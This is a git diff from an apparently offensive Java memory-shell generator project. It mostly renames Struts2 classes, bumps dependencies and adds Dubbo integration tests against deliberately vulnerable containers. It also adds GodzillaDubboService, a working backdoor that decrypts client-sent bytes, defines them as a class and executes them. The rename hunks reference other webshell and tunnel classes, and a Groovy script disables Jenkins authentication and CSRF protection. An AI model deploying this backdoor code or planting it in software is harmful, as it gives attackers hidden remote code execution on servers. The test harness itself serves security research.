@@ -10,7 +10,7 @@ import java.net.URLClassLoader;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/02/18
|
* @since 2025/02/18
|
||||||
*/
|
*/
|
||||||
public class AntSwordStruct2Action {
|
public class AntSwordStruts2Action {
|
||||||
|
|
||||||
public static String pass;
|
public static String pass;
|
||||||
public static String headerName;
|
public static String headerName;
|
||||||
+1
-1
@@ -15,7 +15,7 @@ import java.util.Map;
|
|||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class BehinderStruct2Action {
|
public class BehinderStruts2Action {
|
||||||
public static String pass;
|
public static String pass;
|
||||||
public static String headerName;
|
public static String headerName;
|
||||||
public static String headerValue;
|
public static String headerValue;
|
||||||
+1
-1
@@ -10,7 +10,7 @@ import java.util.Scanner;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/8
|
* @since 2025/12/8
|
||||||
*/
|
*/
|
||||||
public class CommandStruct2Action {
|
public class CommandStruts2Action {
|
||||||
private static String paramName;
|
private static String paramName;
|
||||||
|
|
||||||
public String execute() throws Exception {
|
public String execute() throws Exception {
|
||||||
+85
@@ -0,0 +1,85 @@
|
|||||||
|
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.io.UnsupportedEncodingException;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class GodzillaDubboService extends ClassLoader {
|
||||||
|
private static String key;
|
||||||
|
private static String md5;
|
||||||
|
private static Class<?> payload;
|
||||||
|
|
||||||
|
public GodzillaDubboService() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaDubboService(ClassLoader z) {
|
||||||
|
super(z);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] handle(byte[] bytes) {
|
||||||
|
if (bytes == null || bytes.length == 0) {
|
||||||
|
return new byte[0];
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
byte[] data = decrypt(bytes, key);
|
||||||
|
if (payload == null) {
|
||||||
|
payload = new GodzillaDubboService(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
|
||||||
|
return "ok".getBytes("UTF-8");
|
||||||
|
} else {
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = payload.newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(data);
|
||||||
|
f.toString();
|
||||||
|
byte[] byteArray = arrOut.toByteArray();
|
||||||
|
return (md5.substring(0, 16) + encrypt(byteArray, key) + md5.substring(16)).getBytes("UTF-8");
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
try {
|
||||||
|
return getErrorMessage(e).getBytes("UTF-8");
|
||||||
|
} catch (UnsupportedEncodingException ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return new byte[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String encrypt(byte[] data, String key) {
|
||||||
|
byte[] keyBytes = key.getBytes();
|
||||||
|
byte[] xored = new byte[data.length];
|
||||||
|
|
||||||
|
for (int i = 0; i < data.length; i++) {
|
||||||
|
xored[i] = (byte) (data[i] ^ keyBytes[i % keyBytes.length]);
|
||||||
|
}
|
||||||
|
return Base64.getEncoder().encodeToString(xored);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] decrypt(byte[] ciphertext, String key) {
|
||||||
|
byte[] data = Base64.getDecoder().decode(ciphertext);
|
||||||
|
byte[] keyBytes = key.getBytes();
|
||||||
|
byte[] result = new byte[data.length];
|
||||||
|
|
||||||
|
for (int i = 0; i < data.length; i++) {
|
||||||
|
result[i] = (byte) (data[i] ^ keyBytes[i % keyBytes.length]);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
-1
@@ -15,7 +15,7 @@ import java.net.URLClassLoader;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/15
|
* @since 2024/12/15
|
||||||
*/
|
*/
|
||||||
public class GodzillaStruct2Action {
|
public class GodzillaStruts2Action {
|
||||||
private static String key;
|
private static String key;
|
||||||
private static String pass;
|
private static String pass;
|
||||||
private static String md5;
|
private static String md5;
|
||||||
+1
-1
@@ -18,7 +18,7 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* <p>
|
* <p>
|
||||||
* key: key
|
* key: key
|
||||||
*/
|
*/
|
||||||
public class NeoreGeorgStruct2Action {
|
public class NeoreGeorgStruts2Action {
|
||||||
public static String headerName;
|
public static String headerName;
|
||||||
public static String headerValue;
|
public static String headerValue;
|
||||||
|
|
||||||
+4
-4
@@ -16,7 +16,7 @@ import java.util.HashMap;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/15
|
* @since 2024/12/15
|
||||||
*/
|
*/
|
||||||
public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustManager {
|
public class Suo5Struts2Action implements Runnable, HostnameVerifier, X509TrustManager {
|
||||||
public static String headerName;
|
public static String headerName;
|
||||||
public static String headerValue;
|
public static String headerValue;
|
||||||
public static HashMap addrs = collectAddr();
|
public static HashMap addrs = collectAddr();
|
||||||
@@ -25,10 +25,10 @@ public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustM
|
|||||||
InputStream gInStream;
|
InputStream gInStream;
|
||||||
OutputStream gOutStream;
|
OutputStream gOutStream;
|
||||||
|
|
||||||
public Suo5Struct2Action() {
|
public Suo5Struts2Action() {
|
||||||
}
|
}
|
||||||
|
|
||||||
public Suo5Struct2Action(InputStream in, OutputStream out) {
|
public Suo5Struts2Action(InputStream in, OutputStream out) {
|
||||||
this.gInStream = in;
|
this.gInStream = in;
|
||||||
this.gOutStream = out;
|
this.gOutStream = out;
|
||||||
}
|
}
|
||||||
@@ -268,7 +268,7 @@ public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustM
|
|||||||
|
|
||||||
Thread t = null;
|
Thread t = null;
|
||||||
try {
|
try {
|
||||||
Suo5Struct2Action p = new Suo5Struct2Action(scInStream, respOutStream);
|
Suo5Struts2Action p = new Suo5Struts2Action(scInStream, respOutStream);
|
||||||
t = new Thread(p);
|
t = new Thread(p);
|
||||||
t.start();
|
t.start();
|
||||||
readReq(reqInputStream, scOutStream);
|
readReq(reqInputStream, scOutStream);
|
||||||
+2
-2
@@ -14,11 +14,11 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/9
|
* @since 2025/12/9
|
||||||
*/
|
*/
|
||||||
public class Suo5v2Struct2Action {
|
public class Suo5v2Struts2Action {
|
||||||
private static Class<?> suo5V2Class;
|
private static Class<?> suo5V2Class;
|
||||||
private static String suo5V2GZipBase64;
|
private static String suo5V2GZipBase64;
|
||||||
|
|
||||||
public Suo5v2Struct2Action() {
|
public Suo5v2Struts2Action() {
|
||||||
}
|
}
|
||||||
|
|
||||||
public void execute() throws Exception {
|
public void execute() throws Exception {
|
||||||
+2
-2
@@ -106,8 +106,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
return WebLogicWriter.class;
|
return WebLogicWriter.class;
|
||||||
case Server.Apusic:
|
case Server.Apusic:
|
||||||
return ApusicWriter.class;
|
return ApusicWriter.class;
|
||||||
case Server.Struct2:
|
case Server.Struts2:
|
||||||
return Struct2Writer.class;
|
return Struts2Writer.class;
|
||||||
default:
|
default:
|
||||||
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
|
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ import java.util.Set;
|
|||||||
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 Undertow,Payara 识别为 GlassFish
|
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 Undertow,Payara 识别为 GlassFish
|
||||||
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
|
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
|
||||||
* 额外需要注意:
|
* 额外需要注意:
|
||||||
* 1. 不会识别 SpringWebMVC Struct2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
|
* 1. 不会识别 SpringWebMVC Struts2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
|
||||||
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
|
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
|
||||||
*
|
*
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+4
-1
@@ -33,7 +33,10 @@ public class JettyWriter {
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
Object value = getFieldValue(entry, "value");
|
Object value = getFieldValue(entry, "value");
|
||||||
if (value != null && value.getClass().getName().endsWith("HttpConnection")) {
|
if (value != null && (
|
||||||
|
value.getClass().getName().endsWith("HttpConnection")
|
||||||
|
|| value.getClass().getName().contains("SelectChannelConnector")
|
||||||
|
)) {
|
||||||
Object response;
|
Object response;
|
||||||
Object request;
|
Object request;
|
||||||
try {
|
try {
|
||||||
|
|||||||
+2
-2
@@ -11,10 +11,10 @@ import java.lang.reflect.Method;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/8
|
* @since 2025/12/8
|
||||||
*/
|
*/
|
||||||
public class Struct2Writer {
|
public class Struts2Writer {
|
||||||
private static boolean ok = false;
|
private static boolean ok = false;
|
||||||
|
|
||||||
public Struct2Writer() {
|
public Struts2Writer() {
|
||||||
if (ok) {
|
if (ok) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
+5
-1
@@ -44,7 +44,11 @@ public class TomcatWriter {
|
|||||||
try {
|
try {
|
||||||
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global");
|
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global");
|
||||||
} catch (NoSuchFieldException ignored) {
|
} catch (NoSuchFieldException ignored) {
|
||||||
continue;
|
try {
|
||||||
|
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "endpoint"), "handler"), "global");
|
||||||
|
}catch (NoSuchFieldException ignored2) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) {
|
} else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) {
|
||||||
// Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable
|
// Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable
|
||||||
|
|||||||
+7
-1
@@ -27,9 +27,15 @@ public class TongWebWriter {
|
|||||||
String threadName = thread.getName();
|
String threadName = thread.getName();
|
||||||
if (threadName.contains("Poller") // TongWeb6
|
if (threadName.contains("Poller") // TongWeb6
|
||||||
|| threadName.contains("Acceptor") // TongWeb7
|
|| threadName.contains("Acceptor") // TongWeb7
|
||||||
|
|| threadName.contains("AsyncTimeout") // TongWeb 7.0.4.9
|
||||||
) {
|
) {
|
||||||
try {
|
try {
|
||||||
Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
|
Object requestGroupInfo = null;
|
||||||
|
try {
|
||||||
|
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
|
||||||
|
} catch (NoSuchFieldException ignored1) {
|
||||||
|
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "endpoint"), "handler"), "global");
|
||||||
|
}
|
||||||
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
|
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
|
||||||
for (Object processor : processors) {
|
for (Object processor : processors) {
|
||||||
String workerThreadName = (String) getFieldValue(processor, "workerThreadName");
|
String workerThreadName = (String) getFieldValue(processor, "workerThreadName");
|
||||||
|
|||||||
+10
-10
@@ -1,5 +1,5 @@
|
|||||||
[versions]
|
[versions]
|
||||||
asm = "9.9.1"
|
asm = "9.10" # https://mvnrepository.com/artifact/org.ow2.asm/asm
|
||||||
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
|
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
|
||||||
bcel = "5.2"
|
bcel = "5.2"
|
||||||
javax-servlet-api = "3.0.1"
|
javax-servlet-api = "3.0.1"
|
||||||
@@ -15,21 +15,21 @@ alibaba-dubbo = "2.6.12"
|
|||||||
apache-dubbo = "2.7.6"
|
apache-dubbo = "2.7.6"
|
||||||
tomcat = "8.5.85"
|
tomcat = "8.5.85"
|
||||||
|
|
||||||
byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
|
byte-buddy = "1.18.8" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
|
||||||
commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io
|
commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
|
||||||
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
|
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
|
||||||
commons-codec = "1.21.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
|
commons-codec = "1.22.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
|
||||||
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
|
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
|
||||||
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
|
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
|
||||||
fastjson2 = "2.0.61" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
|
fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
|
||||||
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
|
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
|
||||||
|
|
||||||
mockito = "5.21.0"
|
mockito = "5.21.0"
|
||||||
hamcrest = "3.0"
|
hamcrest = "3.0"
|
||||||
junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
|
junit-jupiter = "5.14.4" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
|
||||||
junit-pioneer = "2.3.0"
|
junit-pioneer = "2.3.0"
|
||||||
junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
|
junit-platform = "1.14.4" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
|
||||||
testcontainers = "2.0.4" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
|
testcontainers = "2.0.5" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
|
||||||
|
|
||||||
[libraries]
|
[libraries]
|
||||||
alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" }
|
alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" }
|
||||||
@@ -74,5 +74,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"]
|
|||||||
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
|
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
|
||||||
|
|
||||||
[plugins]
|
[plugins]
|
||||||
lombok = { id = "io.freefair.lombok", version = "9.2.0" }
|
lombok = { id = "io.freefair.lombok", version = "9.5.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok
|
||||||
shadow = { id = "com.gradleup.shadow", version = "9.3.1" }
|
shadow = { id = "com.gradleup.shadow", version = "9.4.1" } # https://plugins.gradle.org/plugin/com.gradleup.shadow
|
||||||
@@ -7,6 +7,9 @@ plugins {
|
|||||||
group = "io.github.reajason"
|
group = "io.github.reajason"
|
||||||
version = rootProject.version
|
version = rootProject.version
|
||||||
|
|
||||||
|
evaluationDependsOn(":vul:vul-dubbo")
|
||||||
|
evaluationDependsOn(":tools:command")
|
||||||
|
|
||||||
idea {
|
idea {
|
||||||
module {
|
module {
|
||||||
excludeDirs.add(file("src/main"))
|
excludeDirs.add(file("src/main"))
|
||||||
@@ -36,8 +39,41 @@ dependencies {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
tasks.test {
|
val dubboProviderProject = project(":vul:vul-dubbo")
|
||||||
useJUnitPlatform()
|
val dubboCommandProject = project(":tools:command")
|
||||||
|
|
||||||
|
fun dubboProviderJar(taskName: String): Provider<String> {
|
||||||
|
return dubboProviderProject.tasks.named<Jar>(taskName).flatMap { task ->
|
||||||
|
task.archiveFile.map { it.asFile.absolutePath }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun dubboClientClasspath(clientKind: String): Provider<String> {
|
||||||
|
return dubboCommandProject.layout.buildDirectory.file("dubbo-client-classpaths/$clientKind.txt").map {
|
||||||
|
it.asFile.readText()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun Test.configureDubboSystemProperties() {
|
||||||
|
dependsOn(":vul:vul-dubbo:dubboProviderFatJars", ":tools:command:dubboClientClasspath")
|
||||||
|
val systemProperties = mapOf(
|
||||||
|
"dubbo.alibaba.client.classpath" to dubboClientClasspath("alibaba"),
|
||||||
|
"dubbo.apache.client.classpath" to dubboClientClasspath("apache"),
|
||||||
|
"dubbo.alibaba.provider.jar" to dubboProviderJar("dubboAlibabaProviderFatJar"),
|
||||||
|
"dubbo.apache276.provider.jar" to dubboProviderJar("dubboApache276ProviderFatJar"),
|
||||||
|
"dubbo.apache277.provider.jar" to dubboProviderJar("dubboApache277ProviderFatJar"),
|
||||||
|
"dubbo.apache278.provider.jar" to dubboProviderJar("dubboApache278ProviderFatJar"),
|
||||||
|
"dubbo.apache2723.provider.jar" to dubboProviderJar("dubboApache2723ProviderFatJar"),
|
||||||
|
"dubbo.apache336.provider.jar" to dubboProviderJar("dubboApache336ProviderFatJar")
|
||||||
|
)
|
||||||
|
doFirst {
|
||||||
|
systemProperties.forEach { (key, value) ->
|
||||||
|
systemProperty(key, value.get())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun Test.configureIntegrationJvm() {
|
||||||
jvmArgs(
|
jvmArgs(
|
||||||
"--add-opens=java.base/java.util=ALL-UNNAMED",
|
"--add-opens=java.base/java.util=ALL-UNNAMED",
|
||||||
"--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED",
|
"--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED",
|
||||||
@@ -46,4 +82,24 @@ tasks.test {
|
|||||||
testLogging {
|
testLogging {
|
||||||
events("passed", "skipped", "failed")
|
events("passed", "skipped", "failed")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform {
|
||||||
|
excludeTags("dubbo-container")
|
||||||
|
}
|
||||||
|
configureIntegrationJvm()
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.register<Test>("dubboContainerTest") {
|
||||||
|
group = "verification"
|
||||||
|
description = "Runs DubboService provider/client integration tests."
|
||||||
|
testClassesDirs = sourceSets.test.get().output.classesDirs
|
||||||
|
classpath = sourceSets.test.get().runtimeClasspath
|
||||||
|
useJUnitPlatform {
|
||||||
|
includeTags("dubbo-container")
|
||||||
|
}
|
||||||
|
dependsOn("testClasses")
|
||||||
|
configureDubboSystemProperties()
|
||||||
|
configureIntegrationJvm()
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,10 @@
|
|||||||
|
services:
|
||||||
|
target:
|
||||||
|
image: reajason/geronimo:2.2.1-jetty7
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/geronimo/deploy/app.war
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
services:
|
||||||
|
target:
|
||||||
|
image: reajason/geronimo:2.2.1-tomcat6
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/geronimo/deploy/app.war
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
jetty716:
|
||||||
|
image: reajason/jetty:7.1.6-jdk6
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../asserts/agent/jattach-linux:/opt/jattach
|
||||||
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
import jenkins.model.*
|
||||||
|
import hudson.security.*
|
||||||
|
import jenkins.security.s2m.AdminWhitelistRule
|
||||||
|
|
||||||
|
def instance = Jenkins.getInstance()
|
||||||
|
|
||||||
|
// 关闭登录认证
|
||||||
|
instance.disableSecurity()
|
||||||
|
|
||||||
|
// 关闭 CSRF 保护
|
||||||
|
instance.setCrumbIssuer(null)
|
||||||
|
|
||||||
|
instance.save()
|
||||||
@@ -16,7 +16,7 @@ public class ContainerTool {
|
|||||||
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
|
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
|
||||||
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
|
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
|
||||||
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
|
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
|
||||||
public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath());
|
public static final MountableFile struts2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struts2", "build", "libs", "vul-struts2.war").toAbsolutePath());
|
||||||
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
|
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
|
||||||
|
|
||||||
public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath());
|
public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath());
|
||||||
@@ -25,6 +25,7 @@ public class ContainerTool {
|
|||||||
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
|
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
|
||||||
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
|
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
|
||||||
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
|
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
|
||||||
|
public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
|
||||||
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
|
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
|
||||||
|
|
||||||
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
|
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
|
||||||
|
|||||||
+36
@@ -0,0 +1,36 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Tag;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
@Testcontainers
|
||||||
|
@Tag("dubbo-container")
|
||||||
|
class AlibabaDubbo2612ContainerTest {
|
||||||
|
|
||||||
|
private static final DubboProviderScenario SCENARIO = new DubboProviderScenario(
|
||||||
|
"alibaba-dubbo-2.6.12",
|
||||||
|
"alibaba",
|
||||||
|
"dubbo.alibaba.provider.jar",
|
||||||
|
"eclipse-temurin:8-jre",
|
||||||
|
20880,
|
||||||
|
Opcodes.V1_8,
|
||||||
|
List.of(
|
||||||
|
new DubboProtocolTarget("dubbo", 20880),
|
||||||
|
new DubboProtocolTarget("hessian", 28080)
|
||||||
|
)
|
||||||
|
);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
static final GenericContainer<?> container = DubboContainerFactory.buildProvider(SCENARIO);
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testDubboServiceRegistration() {
|
||||||
|
DubboServiceAssertion.assertCommandService(container, SCENARIO);
|
||||||
|
}
|
||||||
|
}
|
||||||
+84
@@ -0,0 +1,84 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.dubbo;
|
||||||
|
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Tag;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
@Testcontainers
|
||||||
|
@Tag("dubbo-container")
|
||||||
|
class ApacheDubbo27xContainerTest {
|
||||||
|
|
||||||
|
private static final String IMAGE = "eclipse-temurin:17-jdk";
|
||||||
|
|
||||||
|
private static final DubboProviderScenario APACHE_276 = apacheScenario(
|
||||||
|
"apache-dubbo-2.7.6",
|
||||||
|
"dubbo.apache276.provider.jar",
|
||||||
|
20885,
|
||||||
|
28086
|
||||||
|
);
|
||||||
|
private static final DubboProviderScenario APACHE_277 = apacheScenario(
|
||||||
|
"apache-dubbo-2.7.7",
|
||||||
|
"dubbo.apache277.provider.jar",
|
||||||
|
20886,
|
||||||
|
28088
|
||||||
|
);
|
||||||
|
private static final DubboProviderScenario APACHE_278 = apacheScenario(
|
||||||
|
